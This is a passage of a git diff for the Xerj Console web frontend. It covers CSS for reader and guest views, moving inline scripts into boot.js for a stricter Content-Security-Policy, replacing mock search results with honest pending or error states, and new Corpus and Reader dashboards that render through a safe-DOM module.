solid var(--z-faint); color: var(--z-mute); white-space: nowrap; max-width: 45%; overflow: hidden; text-overflow: ellipsis; flex-shrink: 0; }+.rd-badge--email { color: var(--z-accent); border-color: var(--z-accent); }+.rd-badge--attachment, .rd-badge--pdf { color: var(--z-cmp); border-color: var(--z-cmp); }+.rd-read { min-width: 0; }+.rd-eyebrow { font-family: var(--font-data); font-size: var(--fs-11); letter-spacing: var(--track-ui); color: var(--z-cmp); text-transform: uppercase; margin-bottom: 8px; }+.rd-title { font-family: var(--font-prose); font-weight: 600; font-size: var(--fs-20); line-height: 1.25; margin: 0 0 var(--sp-2); overflow-wrap: anywhere; }+.rd-title.mono { font-family: var(--font-data); }+.rd-hdrs { border-top: 1px solid var(--z-faint); border-bottom: 1px solid var(--z-faint); padding: 10px 0; margin-bottom: var(--sp-2); }+.rd-hdr { display: flex; gap: 12px; font-size: var(--fs-13); padding: 3px 0; min-width: 0; }+.rd-k { color: var(--z-mute); width: 96px; flex-shrink: 0; font-family: var(--font-data); font-size: var(--fs-11); text-transform: uppercase; letter-spacing: var(--track-ui); padding-top: 2px; }+.rd-v { min-width: 0; overflow-wrap: anywhere; }+.rd-body { white-space: pre-wrap; overflow-wrap: anywhere; line-height: 1.7; font-size: var(--fs-16); font-family: var(--font-prose); max-width: 86ch; }+.rd-code, .rd-json { white-space: pre-wrap; overflow-wrap: anywhere; font-size: var(--fs-13); line-height: 1.55; margin: 0; max-height: 70vh; overflow-y: auto; }+.rd-defs { margin: 0 0 var(--sp-2); padding-left: 18px; font-size: var(--fs-13); line-height: 1.6; }+.rd-sub { margin-top: var(--sp-3); font-size: var(--fs-13); }+.rd-sub > .key { margin-bottom: 8px; }+.rd-att { display: flex; flex-wrap: wrap; gap: 2px 12px; align-items: baseline; padding: 6px 0; border-bottom: 1px solid var(--z-faint); color: inherit; text-decoration: none; min-width: 0; }+.rd-att:hover .rd-att__name { color: var(--z-accent); }+.rd-att__name { font-weight: 600; min-width: 0; overflow-wrap: anywhere; }+.rd-att__meta { color: var(--z-mute); font-family: var(--font-data); font-size: var(--fs-11); min-width: 0; overflow-wrap: anywhere; }+.rd-prov { margin-top: var(--sp-3); font-size: var(--fs-11); overflow-wrap: anywhere; }+.rd-empty { color: var(--z-mute); padding: var(--sp-3) 0; font-size: var(--fs-16); line-height: 1.6; max-width: 72ch; }+.rd-graph { margin-top: var(--sp-6); border-top: 1px solid var(--z-faint); padding-top: var(--sp-2); }+.rd-egroups { display: grid; grid-template-columns: repeat(auto-fill, minmax(320px, 1fr)); gap: var(--sp-3) var(--gap-x); }+.rd-egroup > .key { margin-bottom: 8px; }+.rd-neigh { display: flex; gap: 8px; align-items: baseline; padding: 5px 0; border-bottom: 1px solid var(--z-faint); color: inherit; text-decoration: none; font-size: var(--fs-13); min-width: 0; }+.rd-neigh:hover .rd-neigh__title { color: var(--z-accent); }+.rd-neigh__dir { color: var(--z-mute); flex-shrink: 0; }+.rd-neigh__via { font-size: 9px; letter-spacing: .06em; border: 1px solid var(--z-faint); padding: 0 4px; flex-shrink: 0; }+.rd-neigh__title { font-weight: 600; min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; flex-shrink: 1; }+.rd-neigh__prev { color: var(--z-mute); min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; flex: 1 1 0; }+.rd-honest { margin-top: var(--sp-2); font-size: var(--fs-11); }+.rd-more { display: block; margin-top: var(--sp-2); font-size: var(--fs-11); text-align: left; }++/* guest shell */+.guest-bar { position: sticky; top: 0; z-index: 20; display: flex; align-items: center; gap: var(--sp-2); padding: 10px var(--page-x); background: var(--z-accent); color: #0D0D0D; font-size: var(--fs-13); }+.guest-bar__text { flex: 1; min-width: 0; overflow-wrap: anywhere; font-weight: 700; letter-spacing: .02em; }+.guest-bar__leave { color: #0D0D0D; border: 1px solid #0D0D0D; padding: 3px 10px; background: none; cursor: pointer; font-family: var(--font-data); font-size: var(--fs-11); letter-spacing: var(--track-ui); }+.guest-bar__leave:hover { background: #0D0D0D; color: var(--z-accent); }+.guest-nav { display: flex; gap: var(--sp-3); padding: var(--sp-2) var(--page-x) 0; }+.guest-nav__item { font-family: var(--font-data); font-size: var(--fs-13); letter-spacing: var(--track-label); color: var(--z-mute); text-decoration: none; padding-bottom: 6px; border-bottom: 1px solid transparent; }+.guest-nav__item.active { color: var(--z-ink); border-bottom-color: var(--z-accent); }+.guest-main { padding: var(--sp-4) var(--page-x) var(--sp-6); }+.guest-scene > .h-scene { margin: 4px 0 var(--sp-4); }+.guest-foot { padding: var(--sp-2) var(--page-x) var(--sp-4); font-size: var(--fs-11); border-top: 1px solid var(--z-faint); }+.guest-ended { padding: var(--sp-12) var(--page-x); max-width: 80ch; }+.guest-ended p { color: var(--z-mute); font-size: var(--fs-16); line-height: 1.6; }++@media (max-width: 900px) {+ .rd-cols { grid-template-columns: 1fr; }+ .rd-list { max-height: 40vh; }+ .cp-grid { grid-template-columns: 1fr; }+ .guest-bar, .guest-nav, .guest-main, .guest-foot, .guest-ended { padding-left: var(--sp-2); padding-right: var(--sp-2); }+}diff --git a/xerj-ux/index.html b/xerj-ux/index.htmlindex 96f1bc44f..3ce2569f2 100644--- a/xerj-ux/index.html+++ b/xerj-ux/index.html@@ -5,14 +5,7 @@<meta name="viewport" content="width=device-width, initial-scale=1"><title>Xerj Console · typography-first observability for Xerj</title><meta name="color-scheme" content="dark light">-<script>- // Theme bootstrap — runs before CSS to prevent a flash of wrong theme.- (function () {- var t = localStorage.getItem('xerj.theme');- if (t !== 'day' && t !== 'night') t = 'night';- document.documentElement.setAttribute('data-theme', t);- })();-</script>+<script src="src/theme-boot.js"></script><link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin><link href="https://fonts.googleapis.com/css2?family=Big+Shoulders+Display:wght@400;700;800;900&family=JetBrains+Mono:wght@400;500;700&family=Inter:wght@400;500;600&display=swap" rel="stylesheet">@@ -23,72 +16,11 @@<body><div id="app" aria-busy="true"></div><!--- Auth guard. Hits /_xerj-console/api/v1/me before app.js runs. On 401 we- redirect to /_xerj-console/login (or /_xerj-console/setup when this is a fresh- install — the bootstrap banner already pointed the user at /setup,- but if they bookmarked / it's nicer to land on /setup than /login).- On 200 we cache the user record on `window.__xerjConsoleMe` so app.js can- pick it up synchronously without re-fetching, and import app.js.+ src/boot.js picks the console for this tab: the read-only guest shell when a+ share record is in sessionStorage, otherwise the operator auth guard + app.js.+ No inline script anywhere on this page: it is served with a+ `script-src 'self'` Content-Security-Policy (xerj-console-api/src/spa.rs).-->-<script type="module">- (async () => {- try {- const r = await fetch('/_xerj-console/api/v1/me', {- credentials: 'same-origin',- headers: { 'accept': 'application/json' },- });- if (r.status === 401) {- // Decide: setup vs login. We probe /cluster/info — its- // `started_at_ms` tells us whether the server has been up- // long enough that someone almost certainly set it up; on a- // fresh boot we send the user to /setup.- try {- const info = await (await fetch('/_xerj-console/api/v1/cluster/info', {- credentials: 'same-origin',- })).json();- // No reliable "is bootstrapped?" probe yet; default to /login- // since /setup requires a magic-link token in the fragment.- // Operators on first boot reach /setup via the stderr banner.- void info;- } catch {}- window.location.href = '/_xerj-console/login';- return;- }- if (!r.ok) throw new Error('HTTP ' + r.status);- const body = await r.json();- window.__xerjConsoleMe = body && body.data ? body.data.user : null;-- // Pull /prefs + /views from the engine and seed localStorage- // BEFORE app.js boots — app.js reads localStorage at module-load- // time, so the pull has to complete first or the SPA renders- // with stale (or empty) state for one frame.- try {- const sync = await import('./src/xerj-console-sync.js');- await sync.pullAll();- // Start the periodic push tick once app.js has had a beat.- Promise.resolve().then(() => sync.startPush());- } catch (e) {- console.warn('[xerj-console sync]', e);- }-- // Pull the durable dashboard set (GET /dashboards) BEFORE app.js's- // first paint so the nav + declarative panels render from the- // backend, not just the localStorage cache. Best-effort: on failure- // the store keeps its LS cache (offline/dev still works).- try {- const ds = await import('./src/data/dashboard-store.js');- await ds.hydrate();- } catch (e) {- console.warn('[xerj-console dashboards]', e);- }- } catch (e) {- // Engine unreachable (offline dev, hot-reload mid-flight) —- // load the SPA anyway so the user sees an error state instead- // of a redirect loop.- console.error('[xerj-console auth guard]', e);- }- await import('./src/app.js');- })();-</script>+<script type="module" src="src/boot.js"></script></body></html>diff --git a/xerj-ux/login.html b/xerj-ux/login.htmlindex 7eefd318c..8427353d2 100644--- a/xerj-ux/login.html+++ b/xerj-ux/login.html@@ -82,6 +82,7 @@<script type="module">import { beginLogin, finishLogin, b64uToBuf, bufToB64u } from './src/xerj-console-auth.js';+import { takeNext } from './src/data/next-route.js';const $err = document.getElementById('err');const $form = document.getElementById('form');@@ -127,7 +128,9 @@ $form.addEventListener('submit', async (ev) => {};await finishLogin(begin.challenge_id, credPayload);- window.location.href = '/_xerj-console/';+ // Back to the deep link that sent the person here (boot.js stashed it);+ // takeNext only ever returns an in-console `#/…` route, or ''.+ window.location.href = '/_xerj-console/' + takeNext(window.sessionStorage);} catch (e) {showError(e.message || String(e));$btn.disabled = false;diff --git a/xerj-ux/src/app.js b/xerj-ux/src/app.jsindex 850d7b090..ccbee1777 100644--- a/xerj-ux/src/app.js+++ b/xerj-ux/src/app.js@@ -10,7 +10,6 @@ import { Nav, SceneHeader, TimeCtrl, RefreshCtrl, FilterBar, ClusterCtrl, SavedVimport { query, dataSourceStatus } from './data/query.js';import { chartTypes, chartTypeList } from './ux/chart-types.js';import { esc } from './ux/text.js';-import { mockSearch } from './data/mock.js';import { hitsToCsv, downloadText, svgToPng } from './data/export.js';import {mergedDashboards, renameDashboard, reorderDashboards, setHidden,@@ -25,6 +24,13 @@ import {} from './data/data-sources.js';import { sbBrainsPresent } from './data/brains-probe.js';import { dataFeaturesPresent, emptyDataFeatures } from './data/data-probe.js';+import { indexNames } from './data/schema.js';+import { mount } from './ux/safe-dom.js';+import { renderCorpus } from './ux/corpus-render.js';+import { ReaderView, parseReaderRoute } from './ux/reader-view.js';+import { readerHref } from './ux/reader-render.js';+import { makeReaderApi } from './data/reader-api.js';+import { makeConsoleTransport } from './data/transport-console.js';import { activeBackendId, backendBaseUrl } from './data/backends/index.js';// ---------- state -----------------------------------------@@ -96,7 +102,34 @@ const state = {// key here is true (fed by a probe against the live engine). Routes// and MANAGE are never filtered — a deep link must always resolve.liveFeatures: { brains: false, ...emptyDataFeatures() },+ // Real index names on the engine (from the mapping), fed by the live probe+ // so the search UI aligns to what's actually indexed instead of a hardcoded+ // demo list.+ indices: [],+ // The Corpus home's last payload (backends/xerj.js#liveCorpus) — kept so the+ // Reader's index picker lists the catalogued datasets first.+ corpus: null,};++// The Reader (ux/reader-view.js) owns its own state and fetching; the shell+// only hands it a mount point after each render and the parsed route on each+// hash change. It renders through ux/safe-dom.js — record data never passes+// through this file's HTML strings.+const readerView = new ReaderView({+ api: makeReaderApi(makeConsoleTransport()),+ guest: false,+ indices: () => {+ const fromCatalog = (state.corpus?.datasets || []).map((d) => d.index);+ const rest = state.indices.filter((n) => !fromCatalog.includes(n));+ return [...fromCatalog, ...rest];+ },+ onStatus: ({ kind, label }) => {+ if (state.section !== 'reader') return;+ state.sourceKind = kind; state.sourceLabel = label;+ const pill = document.querySelector('[data-nav-status]');+ if (pill) pill.textContent = navStatus();+ },+});// Merge any URL-seeded filters into the current dashboard's filter set.if (_urlState.filters) {state.filters[_initial.route] = { ...(state.filters[_initial.route] || {}), ..._urlState.filters };@@ -290,15 +323,28 @@ async function probeLiveFeatures() {// (chat-events, vector-ops, agent-memory, anomalies, logs-*). Each dashboard// gates its nav entry on its own key so a fresh / brain-only engine never// advertises a mock-filled telemetry dashboard.- const [brains, dataFeat] = await Promise.all([+ const [brains, dataFeat, idxNames] = await Promise.all([sbBrainsPresent(base),dataFeaturesPresent(base),+ indexNames(base),]);const next = { brains, ...dataFeat };let changed = false;for (const k of Object.keys(next)) {if (next[k] !== state.liveFeatures[k]) { state.liveFeatures[k] = next[k]; changed = true; }}+ // Real index list. Re-render if it changed so the index picker targets+ // actual data.+ if (JSON.stringify(idxNames) !== JSON.stringify(state.indices)) { state.indices = idxNames || []; changed = true; }+ // If the selected index no longer exists (stale localStorage, renamed or+ // deleted index), fall back to a real one so the console lands on actual+ // data instead of an empty/erroring result. `*` is kept (backend resolves+ // it to the primary index).+ if (state.indices.length && state.search.index !== '*' && !state.indices.includes(state.search.index)) {+ state.search.index = state.indices[0];+ state.search.result = null;+ changed = true;+ }if (changed) {// Same guards as the store/panel re-render hooks: never nuke an// in-flight drag gesture or steal focus from a form field.@@ -360,29 +406,28 @@ function navStatus() {if (state.loading) return 'LOADING…';if (state.fetchErr) return 'ERROR · ' + state.fetchErr.slice(0, 40);const bits = [];- // dataSourceStatus is a function in v0.7+ (was a const string) so- // the nav reflects the live backend state instead of a fixed label.- bits.push(typeof dataSourceStatus === 'function' ? dataSourceStatus() : String(dataSourceStatus));+ // Prefer the label of the CURRENTLY-RENDERED view (state.sourceLabel, set+ // from that view's own fetch below). The module-global dataSourceStatus() is+ // a last-writer-wins value that any background/other-dashboard query can+ // overwrite — reading it here is what let a live page show a stale/other+ // dashboard's "MOCK FALLBACK". Fall back to it only before the first fetch.+ bits.push(state.sourceLabel+ || (typeof dataSourceStatus === 'function' ? dataSourceStatus() : String(dataSourceStatus)));if (state.fetchedAt) bits.push('UPDATED ' + relTime(state.fetchedAt).toUpperCase());if (state.fetchMs != null) bits.push(state.fetchMs + 'MS');return bits.join(' · ');}function runSearchNow() {- // Optimistic placeholder so the table doesn't blank out while- // the live query is in flight. Replaced as soon as the engine- // responds with real hits.- state.search.result = mockSearch({- q: state.search.q,- type: state.search.type,- index: state.search.index,- filters: state.search.filters,- sort: state.search.sort,- });- // Live xerj search: turn the SearchBox state into a real- // `query()` ctx and overlay the live hits + facets when they- // arrive. Falls back to the mock above on backend error so the- // demo never serves a blank console.+ // No optimistic placeholder: until the engine answers, the table says+ // SEARCHING and holds nothing. This function used to seed the result with+ // mockSearch() — fabricated service/host/level hits — and keep them on any+ // backend error, so a failed search showed invented documents under a LIVE+ // pill (#923 review finding 5). Every outcome is now one of: pending, the+ // engine's hits, or an explicit error with zero rows.+ const seq = (state.search._seq = (state.search._seq || 0) + 1);+ const prev = state.search.result;+ state.search.result = { hits: [], total: 0, facets: {}, roles: prev?.roles || null, pending: true };query({dashId: 'search-discover',range: state.time,@@ -393,28 +438,43 @@ function runSearchNow() {q: state.search.q,type: state.search.type,index: state.search.index,+ sort: state.search.sort,},}).then((res) => {- const live = res?.data;- if (!live || live.error) return;- const mock = state.search.result || {};- state.search.result = {- ...mock,- hits: live.hits || mock.hits || [],- total: live.total ?? (live.hits?.length ?? 0),- took: live.took,- max_score: live.max_score,- facets: live.facets || mock.facets,- _live: true,- };+ if (seq !== state.search._seq) return; // a newer search owns the table+ const live = res?.data || {};+ state.search.result = live.error+ ? { hits: [], total: 0, facets: {}, roles: live.roles || null, error: String(live.error),+ resolvedIndex: live.resolvedIndex ?? null, narrowed: !!live.narrowed, request: live.request || null }+ : {+ hits: live.hits || [],+ total: live.total ?? (live.hits?.length ?? 0),+ tookMs: live.took ?? 0,+ maxScore: live.max_score ?? null,+ facets: live.facets || {},+ histogram: live.histogram || null,+ histogramField: live.histogramField || null,+ roles: live.roles || null,+ resolvedIndex: live.resolvedIndex ?? null,+ narrowed: !!live.narrowed,+ request: live.request || null,+ _live: true,+ };state.fetchedAt = res.meta?.fetchedAt || Date.now();state.fetchMs = res.meta?.durationMs ?? state.fetchMs;- // Re-render the page so the table swaps mock → live without- // requiring user interaction.+ // Only relabel if we're still on the search-driven view — a late search+ // resolving after you've navigated away must not repaint the new view.+ if (res.meta?.sourceLabel && state.section === 'discover') {+ state.sourceLabel = res.meta.sourceLabel; state.sourceKind = res.meta.sourceKind;+ }if (state.section === 'discover') render();})- .catch(() => { /* leave the optimistic mock in place */ });+ .catch((err) => {+ if (seq !== state.search._seq) return;+ state.search.result = { hits: [], total: 0, facets: {}, roles: null, error: String(err && err.message || err) };+ if (state.section === 'discover') render();+ });// Persist the inputs (not the result — it rebuilds on demand)localStorage.setItem(LS.search, JSON.stringify({q: state.search.q,@@ -452,10 +512,12 @@ function parseRoute() {return list[0]?.id;};- // Empty hash → dashboards section, first dashboard+ // Empty hash → the Corpus home: what is indexed on this engine. It reads+ // the live catalog and has an honest empty state (one command), so it is a+ // safe landing on any engine — unlike a telemetry dashboard, it has nothing+ // to fall back to.if (!parts.length) {- const first = firstOfSection('dashboards') || 'ai-overview';- return { section: 'dashboards', route: first };+ return { section: 'corpus', route: 'corpus' };}// Legacy: #/manage → settings@@ -754,8 +816,10 @@ function renderPanel(p, data, editMode, ctx) {// Empty-state fallback: if the render produced nothing meaningful,// show a typography-first placeholder so users see WHY the slot is// blank (e.g. filtered everything out) rather than a broken panel.+ // A safe-mount panel (Corpus, Reader) is an EMPTY element on purpose:+ // mountSafePanels() fills it with DOM nodes after this string is parsed.const stripped = String(inner || '').replace(/<[^>]+>/g, '').trim();- if (!stripped) {+ if (!stripped && !/\sdata-safe-mount="/.test(String(inner))) {inner = `<div class="panel-empty mono faint">NO DATA · ADJUST FILTERS OR TIME RANGE</div>`;}} catch (err) {@@ -924,15 +988,20 @@ async function render() {// empty "Logs" group doesn't linger on a brain-only engine.const activeGroups = DASHBOARD_GROUPS.filter((g) => dashboardsForSection.some((d) => d.group === g.id));- // Which dashboard to RENDER. An explicit deep link (`#/dashboards/<id>`)- // resolves even if that id is currently gated — a fresh `xerj brain` prints- // exactly such a link and it must open before the probe confirms the brain.- // But the DEFAULT landing must never open a gated, mock-filled dashboard: fall- // through to the first VISIBLE one (Second Brain on a brain-only engine, or- // System — always-on — on a truly empty engine).- const explicitDeepLink = /#\/dashboards\/[a-z0-9._-]+/i- .test((typeof location !== 'undefined' && location.hash) || '');+ // Which dashboard to RENDER. An explicit deep link — one that NAMES a+ // dashboard in the hash, `#/dashboards/<id>` or the bare `#/<id>[?…]` form+ // `xerj brain` prints (`#/second-brain?brain=<name>`) — resolves even if that+ // id is currently gated: the link must open before the probe confirms the+ // brain, and on an auth-enabled engine the brains probe is refused (401)+ // outright, which used to send the printed link to the System dashboard's+ // SAMPLE DATA (PR #945 review). But the DEFAULT landing (`#/dashboards`, or a+ // stale route) must never open a gated, mock-filled dashboard: fall through+ // to the first VISIBLE one (Second Brain on a brain-only engine, or System —+ // always-on — on a truly empty engine).+ const hashPath = ((typeof location !== 'undefined' && location.hash) || '')+ .replace(/^#\/?/, '').split('?')[0].split('/').filter(Boolean);const routed = allDash.find((d) => d.id === state.route);+ const explicitDeepLink = !!routed && hashPath.length > 0 && hashPath[hashPath.length - 1] === routed.id;const routedGated = routed && routed.requiresLive && !state.liveFeatures[routed.requiresLive];// Deliberately NOT synced back to state.route: keeping the (gated) default// route means the fallthrough re-resolves to the first VISIBLE dashboard on@@ -947,7 +1016,6 @@ async function render() {if (dash.id === 'search-discover' && !state.search.result) {runSearchNow();}-const activeFilters = currentFilters();// A declarative (net-new) user dashboard runs a live query PER PANEL// (data/panel-query.js) rather than a single whole-dashboard fetch.@@ -964,14 +1032,28 @@ async function render() {if (isDeclarative) {data = {};state.fetchErr = null;+ // A user dashboard fetches per-panel (panel-query.js) and never touches the+ // shared query() path, so stamp its own label here — otherwise navStatus+ // would inherit the previously-viewed dashboard's pill.+ state.sourceLabel = 'LIVE · XERJ · CUSTOM PANELS';+ state.sourceKind = 'live';// NOTE: index priming happens in openBuilder(), NOT here — calling it// per-render would re-enter render() and loop.} else if (state.section === 'data' || state.section === 'settings') {try {data = await buildSectionData(state.section);+ // DATA is built from the live index inventory (_cat/indices); SETTINGS is+ // local browser state. Label the pill honestly for each.+ state.sourceLabel = state.section === 'settings' ? 'LOCAL · SETTINGS' : 'LIVE · XERJ · INDEX INVENTORY';+ state.sourceKind = state.section === 'settings' ? 'local' : 'live';} catch (err) {data = {};fetchErr = err;+ // Surface the failure in the pill instead of leaving the prior view's+ // label on a section that loaded nothing.+ state.fetchErr = err.message || String(err);+ state.sourceLabel = `${state.section.toUpperCase()}: LOAD FAILED`;+ state.sourceKind = 'live-error';}} else {state.loading = true;@@ -984,8 +1066,18 @@ async function render() {filters: activeFilters,});data = result.data;+ if (dash.id === 'corpus') state.corpus = data;state.fetchedAt = result.meta.fetchedAt;state.fetchMs = result.meta.durationMs;+ // Tie the nav pill to THIS dashboard's fetch, not a global last-writer.+ state.sourceLabel = result.meta.sourceLabel;+ state.sourceKind = result.meta.sourceKind;+ // The Reader fetches for itself; between its searches the pill shows+ // what IT last reported, not query()'s placeholder.+ if (dash.id === 'reader' && readerView.lastStatus) {+ state.sourceLabel = readerView.lastStatus.label;+ state.sourceKind = readerView.lastStatus.kind;+ }state.fetchErr = null;} catch (err) {state.fetchErr = err.message || String(err);@@ -1003,7 +1095,7 @@ async function render() {}}- const view = dash.render({ data, time: state.time, search: state.search });+ const view = dash.render({ data, time: state.time, search: state.search, indices: state.indices });// Let a user rename override the scene title. User-cloned dashboards// always use the user-chosen name; defaults only override if the user// has explicitly set an xerj.dashboards.names entry.@@ -1108,6 +1200,7 @@ async function render() {${editFrame}`;app.setAttribute('aria-busy', 'false');+ mountSafePanels(dash, data);// Restore focus on the search input (if we're on the search dashboard).if (state._focusSelector) {@@ -1123,6 +1216,28 @@ async function render() {}}+/**+ * Fill the panels that show document-derived content. Their `render()` emits+ * only an empty `<div data-safe-mount="…">`; the content is built here as DOM+ * nodes (ux/safe-dom.js), so nothing a document says can be parsed as markup.+ * Runs after every shell render, because the shell replaces #app wholesale.+ */+function mountSafePanels(dash, data) {+ const corpusEl = document.querySelector('[data-safe-mount="corpus"]');+ if (corpusEl) {+ const st = data && data.status ? data : { status: 'error', error: (data && data.error) || 'the catalog returned nothing' };+ mount(corpusEl, renderCorpus(st, { guest: false }));+ }+ const readerEl = document.querySelector('[data-safe-mount="reader"]');+ if (readerEl) {+ readerView.attach(readerEl);+ readerView.setRoute(parseReaderRoute(location.hash));+ } else {+ readerView.detach();+ }+ void dash;+}+// ==========================================================// Declarative (net-new) user-dashboard subsystem// • panel builder (viz + index/query + live preview)@@ -1412,6 +1527,28 @@ document.addEventListener('input', (e) => { handleDeclInput(e); });let dragSrcId = null;document.addEventListener('click', (e) => {+ // Corpus cards. The attribute values are DATA written by+ // ux/corpus-render.js; they are parsed, validated and turned into state —+ // never evaluated and never put back into markup.+ const cq = e.target.closest && e.target.closest('[data-corpus-query]');+ if (cq) {+ e.preventDefault();+ let spec = null;+ try { spec = JSON.parse(cq.getAttribute('data-corpus-query')); } catch { spec = null; }+ if (spec && typeof spec.index === 'string' && typeof spec.q === 'string') {+ readerView.setQuery({ q: spec.q, type: String(spec.type || 'match'), field: typeof spec.field === 'string' ? spec.field : null });+ location.hash = readerHref({ index: spec.index });+ }+ return;+ }+ const cb = e.target.closest && e.target.closest('[data-corpus-browse]');+ if (cb) {+ e.preventDefault();+ const idx = cb.getAttribute('data-corpus-browse');+ if (idx) { state.search.index = idx; state.search.filters = {}; state.search.result = null; }+ location.hash = '#/discover';+ return;+ }// Declarative user-dashboard chrome (builder + user-panel toolbar).// Handled first so its specific data-* attrs never fall through to the// default-dashboard handlers below.diff --git a/xerj-ux/src/boot.js b/xerj-ux/src/boot.jsnew file mode 100644index 000000000..ae61354d3--- /dev/null+++ b/xerj-ux/src/boot.js@@ -0,0 +1,87 @@+// ============================================================+// XERJ Console — boot+//+// Decides WHICH console this tab is, before anything else loads:+//+// guest sessionStorage['xerj.share'] holds a share record (written by+// the share guest page). Boot the read-only guest shell and+// NOTHING else — in particular, none of the console-API calls+// below are made: a guest has no console session, and must not+// probe for one.+// operator otherwise: the auth guard (GET /_xerj-console/api/v1/me → login+// on 401), prefs + dashboards hydration, then app.js.+//+// A record that is present but invalid or expired does NOT fall through to+// the operator path (which would bounce a confused guest to a passkey login):+// the guest shell clears it and says the share is over — and leaves a marker+// (no secret in it) so a RELOAD says the same thing. The ended screen offers+// the operator sign-in, which removes the marker.+//+// Lives in a file, not inline in index.html, so the page can be served with+// `script-src 'self'`.+// ============================================================++import { SHARE_KEY, ENDED_KEY } from './data/guest.js';++function hasShareRecord() {+ // A share that has ENDED in this tab (expired, revoked, LEAVE) leaves a+ // non-secret marker behind: a guest who reloads then sees "this share has+ // ended" again, not the operator's passkey login (PR #945 review).+ try { return window.sessionStorage.getItem(SHARE_KEY) != null || window.sessionStorage.getItem(ENDED_KEY) != null; } catch { return false; }+}++async function bootOperator() {+ try {+ const r = await fetch('/_xerj-console/api/v1/me', {+ credentials: 'same-origin',+ headers: { accept: 'application/json' },+ });+ if (r.status === 401) {+ // No reliable "is bootstrapped?" probe yet; default to /login since+ // /setup requires a magic-link token in the fragment. Operators on+ // first boot reach /setup via the stderr banner.+ // Remember the deep link (`#/reader?index=…&id=…`) so sign-in returns+ // to it instead of the home page (data/next-route.js — loaded here, on+ // the operator path only; a guest tab statically imports guest.js alone).+ try {+ const { stashNext } = await import('./data/next-route.js');+ stashNext(window.sessionStorage, window.location.hash);+ } catch { /* the person lands on the home page after sign-in, as before */ }+ window.location.href = '/_xerj-console/login';+ return;+ }+ if (!r.ok) throw new Error('HTTP ' + r.status);+ const body = await r.json();+ window.__xerjConsoleMe = body && body.data ? body.data.user : null;++ // Pull /prefs + /views from the engine and seed localStorage BEFORE+ // app.js boots — app.js reads localStorage at module-load time.+ try {+ const sync = await import('./xerj-console-sync.js');+ await sync.pullAll();+ Promise.resolve().then(() => sync.startPush());+ } catch (e) {+ console.warn('[xerj-console sync]', e);+ }++ // Pull the durable dashboard set before app.js's first paint.+ try {+ const ds = await import('./data/dashboard-store.js');+ await ds.hydrate();+ } catch (e) {+ console.warn('[xerj-console dashboards]', e);+ }+ } catch (e) {+ // Engine unreachable (offline dev, hot-reload mid-flight) — load the SPA+ // anyway so the user sees an error state instead of a redirect loop.+ console.error('[xerj-console auth guard]', e);+ }+ await import('./app.js');+}++if (hasShareRecord()) {+ const { bootGuest } = await import('./guest-app.js');+ bootGuest(window);+} else {+ await bootOperator();+}diff --git a/xerj-ux/src/dashboards/alerts.js b/xerj-ux/src/dashboards/alerts.jsindex e5aced459..f30f99386 100644--- a/xerj-ux/src/dashboards/alerts.js+++ b/xerj-ux/src/dashboards/alerts.js@@ -29,8 +29,8 @@ export const alerts = {render: ({ data, time }) => ({title: 'ALERTS',kicker: 'RULES · FIRES · CONNECTORS',- meta: [time, 'AS CODE · NO WATCHER APP'],- caption: 'Alert rules as code, not YAML in a hidden app. Every rule is a JSON file under `xerj.rules.*` you can diff, review, and version. This view is the operator surface — active fires, rule health, connector status, and the corpus evidence that says Kibana got this wrong.',+ meta: [time, 'SAMPLE DATA'],+ caption: 'Illustrative sample data — not yet wired to your engine\'s alert rules; the fires and counts below are not live. It shows the intended model: alert rules as code, not YAML in a hidden app — every rule a JSON file under `xerj.rules.*` you can diff, review, and version, with active fires, rule health, and connector status on one operator surface.',panels: [{ id: 'active', eyebrow: 'ACTIVE FIRES', cols: 3, type: 'metric',diff --git a/xerj-ux/src/dashboards/corpus.js b/xerj-ux/src/dashboards/corpus.jsnew file mode 100644index 000000000..886f259ab--- /dev/null+++ b/xerj-ux/src/dashboards/corpus.js@@ -0,0 +1,47 @@+// ============================================================+// Section — CORPUS (the home page after `xerj brain <folder>`)+//+// One card per dataset the autoindex catalog records: what it is, how much,+// what formats, its time span, the top fields with types, and the sample+// queries autoindex wrote for it. On an engine with no datasets: the exact+// one command to run. Data comes from `backends/xerj.js#liveCorpus` (the+// `autoindex-catalog` index, live) and is listed in data/query.js#NEVER_MOCK:+// this page shows what the engine reports, or an error — never a sample.+//+// The panel below is a MOUNT POINT, not markup. Everything on a card can be+// document-derived, so the shell (app.js#mountSafePanels) fills it with nodes+// from ux/corpus-render.js through ux/safe-dom.js. No document string is ever+// interpolated into the HTML this module returns.+// ============================================================++import { fmtCount } from '../data/catalog.js';++export const CORPUS_MOUNT = '<div data-safe-mount="corpus" class="cp-mount"></div>';++export const corpus = {+ id: 'corpus',+ name: 'Corpus',+ section: 'corpus',+ render: ({ data }) => {+ const datasets = data?.datasets || [];+ const summaries = data?.summaries || [];+ const n = datasets.length + summaries.length;+ const total = datasets.reduce((acc, c) => acc + c.records, 0) + summaries.reduce((acc, c) => acc + c.records, 0);+ const meta = data?.status === 'error'+ ? ['CATALOG UNREADABLE']+ : (n ? [`${n} DATASET${n === 1 ? '' : 'S'}`, `${fmtCount(total)} RECORDS`] : ['EMPTY']);+ return {+ title: 'CORPUS',+ kicker: 'WHAT IS INDEXED',+ meta,+ caption: n+ ? 'Everything xerj brain / xerj autoindex wrote to this engine, read live from the autoindex catalog, plus any other index it holds. Open a dataset in the Reader, or run one of the sample queries its catalog entry carries.'+ : '',+ panels: [+ { id: 'datasets', eyebrow: n ? 'ONE CARD PER DATASET · LIVE FROM autoindex-catalog' : 'WHAT IS INDEXED', cols: 12, type: 'corpus',+ render: () => CORPUS_MOUNT,+ },+ ],+ };+ },+};diff --git a/xerj-ux/src/dashboards/reader.js b/xerj-ux/src/dashboards/reader.jsnew file mode 100644index 000000000..dbe91718b--- /dev/null+++ b/xerj-ux/src/dashboards/reader.js@@ -0,0 +1,34 @@+// ============================================================+// Section — READER (any record, with the knowledge graph around it)+//+// Route `#/reader?index=<i>&id=<id>&brain=<b>`. Search a corpus, open any+// record it holds — an email with its attachments, a PDF page, a note, a code+// symbol — rendered by its shape, beside the records the brain links it to.+// Generalises #923's Case Review (email + PDF only, string-built markup) to+// every record kind autoindex writes.+//+// The panel below is a MOUNT POINT. The reader displays other people's+// documents, so none of it is built as an HTML string: the shell+// (app.js#mountSafePanels) attaches ux/reader-view.js, which renders through+// ux/safe-dom.js. The same view, over a different transport, is what a+// share-link 